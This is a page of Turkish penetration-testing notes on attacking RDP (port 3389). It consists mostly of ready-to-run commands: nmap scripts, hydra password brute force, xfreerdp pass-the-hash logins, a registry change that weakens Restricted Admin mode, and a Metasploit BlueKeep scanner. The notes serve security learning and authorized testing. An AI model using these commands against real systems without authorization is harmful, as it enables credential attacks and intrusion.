🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest Makinası Kurulumu
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • ✅Cross-Site Scripting
    • ✅Information Disclosure
    • ✅Configuration and Deployment Management Testing
    • ✅Broken Authentication
    • ✅Broken Access Control
    • ✅OAuth Zafiyetleri
    • ✅JWT
    • ✅HTTP Parameter Pollution
    • ✅SQL Injection
    • ✅NoSQL Injection
    • ✅XXE Injection
    • ✅File Inclusion & Path Traversal
    • ✅OS Command Injection
    • ❌HTTP Request Smuggling
    • ✅Host Header Attack
    • ✅SSTI
    • ✅SSRF
    • ❌Insecure Deserialization
    • ✅Prototype pollution
    • ❌Web Cache Poisoning
    • ✅LLM
    • ✅Business Logic
    • ✅File Upload
    • ✅Race Conditions
    • ✅CSRF
    • ✅CORS Misconfiguration
    • ✅Clickjacking
    • ✅API Testing
    • ❌GraphQL API
    • AWS Testing
    • ✅Broken Link Hijacking
    • Web Pentest Checklist
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diğer
    • Hacking Gadgets
      • 🍍Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • MSFConsole
    • DDOS Saldırıları
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
Powered by GitBook
On this page
  • Nmap Scan
  • Brute Force
  • Bağlantı
  • Pass The Hash
  • CVE-2019-0708 (BlueKeep)

Was this helpful?

  1. Network Service Pentesting

RDP - 3389

Nmap Scan

nmap -sV -sC 10.129.201.248 -p3389 --script rdp*

Brute Force

hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://192.168.1.3 -s 3389

Bağlantı

remmina
xfreerdp /u:administrator /p:password123 /v:192.168.1.3:3389
xfreerdp /v:192.168.220.152 /u:administrator /pth:300FF5E89EF33F83A8146C10F5AB9BB9



xfreerdp3 /v:192.168.1.3 /u:john /p:'pass123' /d:corp.local +dynamic-resolution /drive:server,/root/Desktop/server

Pass The Hash

Default olarak RDP protokolüne ntlm ile bağlanamayız. Alttaki registery ile bu açılabilir

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

CVE-2019-0708 (BlueKeep)

msfconsole
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 192.168.1.3
set RPORT 3389
run
PreviousMySQL - 3306NextPostgresql - 5432

Last updated 2 months ago

Was this helpful?

🖲️